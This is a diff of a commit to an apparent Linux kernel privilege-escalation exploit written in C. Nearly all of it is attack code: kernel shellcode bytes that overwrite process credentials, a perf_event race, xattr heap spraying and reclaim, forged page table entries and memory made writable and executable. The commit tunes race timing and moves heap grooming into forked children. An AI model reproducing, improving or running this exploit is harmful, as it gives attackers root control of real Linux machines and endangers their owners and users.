28
28
#include <time.h>
29
29
#include <signal.h>
30
30
31
- // #define TIMER 71000
32
- // #define MIN 70200
33
- // #define MAX 62400
34
31
#define MIN 60000
35
32
#define MAX 71000
36
33
34
+ // #define MIN 79000
35
+ // #define MAX 96000
36
+
37
37
#define SIBLINGS_MAX 1024 // about 0x4000 ~
38
38
#define CPU_A 1 // main cpu
39
39
#define CPU_B 0
40
- #define MAX_TRY 4096
41
- #define TRY_PER_ITER 300
40
+ #define MAX_TRY 1
41
+ #define TRY_PER_ITER 1024
42
42
// TOTAL_ITER = MAX_TRY * TRY_PER_ITER
43
43
44
44
char shellcode [] = "\x0f\x01\xf8\x65\x4c\x8b\x24\x25\xc0\x0c\x02\x00\x4d\x8b\xb4\x24\x48\x02\x00\x00\x49\x81\xee\x30\xc0\x1e\x00\x4d\x89\xf0\x48\xc7\xc7\x01\x00\x00\x00\x4c\x89\xc0\x48\x05\x50\xde\x1b\x00\x41\x54\x41\x50\xff\xd0\x48\x89\xc3\x41\x58\x41\x5c\x4c\x89\xc0\x48\x05\x00\x69\xa7\x02\x48\x89\xc7\x48\x89\xbb\x38\x08\x00\x00\x49\x89\xbc\x24\x38\x08\x00\x00\x4c\x89\xc0\x48\x05\x40\x6b\xa7\x02\x48\x89\xc7\x49\x89\xbc\x24\xd8\x07\x00\x00\x0f\x01\xf8\x48\xcf" ;
@@ -289,7 +289,7 @@ void print_proc_self_maps_raw() {
289
289
}
290
290
291
291
int counter_init = 0 ;
292
- void race (int group_leader , int init ) { // caller must have ownership of the group
292
+ void race (int group_leader , int timer ) { // caller must have ownership of the group
293
293
int pipefd [2 ];
294
294
uint64_t buf [0x2000 ] = {0 , };
295
295
char buffer [0x100 ] = {0x41 , };
@@ -299,26 +299,6 @@ void race(int group_leader, int init) { // caller must have ownership of the gro
299
299
}
300
300
int ppid = getppid ();
301
301
int status ;
302
- if (init ) { // Will this help in forming a reliable memory layout?
303
- spray_xattr_page (0x3008 , 12 , 1 ); // 12296
304
- spray_xattr_page (0x4008 , 2 , 1 ); // 16392
305
- remove_xattr ("security.x16392_0" , 1 );
306
- remove_xattr ("security.x16392_1" , 1 );
307
- remove_xattr ("security.x12296_5" , 1 );
308
- remove_xattr ("security.x12296_6" , 1 );
309
- remove_xattr ("security.x12296_11" , 1 );
310
- resize_pipe (vuln_pipe [1 ], 0x1000 * 220 );
311
- remove_xattr ("security.x12296_10" , 1 );
312
- remove_xattr ("security.x12296_7" , 1 );
313
- if (setxattr ("/tmp/x1" , "security.x12296_10" , buf , 0x3008 , 0 ) < 0 ) {
314
- perror ("reclaim failed" );
315
- exit (EXIT_FAILURE );
316
- }
317
- }
318
- if (setxattr ("/tmp/x1" , "security.ssiphim" , buf , 0x3008 , 0 ) < 0 ) {
319
- perror ("reclaim failed" );
320
- exit (EXIT_FAILURE );
321
- }
322
302
323
303
pid_t child_pid = fork ();
324
304
if (child_pid == 0 ) { // child read
@@ -344,17 +324,21 @@ void race(int group_leader, int init) { // caller must have ownership of the gro
344
324
ioctl (group_leader , PERF_EVENT_IOC_DISABLE , 0 );
345
325
}
346
326
}
347
-
327
+
348
328
write (pipefd [1 ], buffer , 1 ); // sync point A
349
329
remove_xattr ("security.x12296_10" , 1 );
350
330
// x10 reclaimed by CPU_B is now released on CPU_A
351
- for (int _ = 0 ; _ < 32 ; _ ++ )
331
+ for (int _ = 0 ; _ < 32 ; _ ++ );
352
332
read (group_leader , buf , sizeof (buf ));
353
333
remove_xattr ("security.ssiphim" , 1 );
354
334
if (setxattr ("/tmp/x1" , "security.x12296_10" , buf , 0x3008 , 0 ) < 0 ) {
355
335
perror ("reclaim failed" );
356
336
exit (EXIT_FAILURE );
357
337
}
338
+ if (setxattr ("/tmp/x1" , "security.ssiphim" , buf , 0x3008 , 0 ) < 0 ) {
339
+ perror ("reclaim failed" );
340
+ exit (EXIT_FAILURE );
341
+ }
358
342
uint64_t ptes [512 ];
359
343
for (int p = 0 ; p < 512 ; p ++ )
360
344
ptes [p ] = 0x8000000000000067 ;
@@ -486,12 +470,34 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
486
470
sched_yield ();
487
471
// Minimizing heap noise.
488
472
// child will be running on CPU_A
473
+ spray_xattr_page (0x3008 , 12 , 1 ); // 12296
474
+ spray_xattr_page (0x4008 , 2 , 1 ); // 16392
475
+ remove_xattr ("security.x16392_0" , 1 );
476
+ remove_xattr ("security.x16392_1" , 1 );
477
+ remove_xattr ("security.x12296_5" , 1 );
478
+ remove_xattr ("security.x12296_6" , 1 );
479
+ sched_yield ();
480
+ // this reclaim process must be atomic
481
+ remove_xattr ("security.x12296_11" , 1 );
482
+ resize_pipe (vuln_pipe [1 ], 0x1000 * 220 );
483
+ sched_yield ();
484
+ remove_xattr ("security.x12296_10" , 1 );
485
+ remove_xattr ("security.x12296_7" , 1 );
486
+ if (setxattr ("/tmp/x1" , "security.x12296_10" , buf , 0x3008 , 0 ) < 0 ) {
487
+ perror ("reclaim failed" );
488
+ exit (EXIT_FAILURE );
489
+ }
490
+ if (setxattr ("/tmp/x1" , "security.ssiphim" , buf , 0x3008 , 0 ) < 0 ) {
491
+ perror ("reclaim failed" );
492
+ exit (EXIT_FAILURE );
493
+ }
494
+ // reclaim two chunks.
495
+ // they'll be released in CPU_A and used only in CPU_A.
496
+
489
497
for (int _ ; _ < TRY_PER_ITER ; _ ++ ) {
490
498
while (!atomic_load (& race_go ));
491
- if (_ == 0 )
492
- race (group_leader , 1 );
493
- else
494
- race (group_leader , 0 );
499
+ race (group_leader , MIN + _ * 50 );
500
+
495
501
}
496
502
}
497
503
sleep (9999999 );
@@ -673,7 +679,7 @@ void exploit() {
673
679
while (atomic_load (& race_tf ) == 0 );
674
680
atomic_store (& race_tf , 0 );
675
681
mprotect (& spray_addr [0 ][0 ], MAP_SIZE , PROT_READ );
676
- mprotect (& spray_addr [0 ][0 ], MAP_SIZE , PROT_READ | PROT_WRITE | PROT_EXEC );
682
+ mprotect (& spray_addr [0 ][0 ], MAP_SIZE , PROT_READ | PROT_WRITE | PROT_EXEC );
677
683
mprotect (& spray_addr [1 ][0 ], MAP_SIZE , PROT_READ );
678
684
mprotect (& spray_addr [1 ][0 ], MAP_SIZE , PROT_READ | PROT_WRITE | PROT_EXEC );
679
685
for (int i = 0 ; i < 2 ; i ++ ) {
@@ -701,7 +707,6 @@ void exploit() {
701
707
perror ("fork nono !!@#W!KL@J!KLjaddklsJDl" );
702
708
exit (EXIT_FAILURE );
703
709
}
704
-
705
710
}
706
711
exit (0 );
707
712
}
@@ -718,9 +723,10 @@ int main(void) {
718
723
race_oracle ();
719
724
tfd = timerfd_create (CLOCK_MONOTONIC , 0 );
720
725
do_epoll_enqueue (tfd );
721
- alarm (900 );
722
726
spray_xattr_page (0x3000 , 2048 , 0 );
727
+ paused ();
723
728
729
+ alarm (900 );
724
730
exploit ();
725
731
sleep (999999 ); // munmap will trigger kernel panic
726
732
}
0 commit comments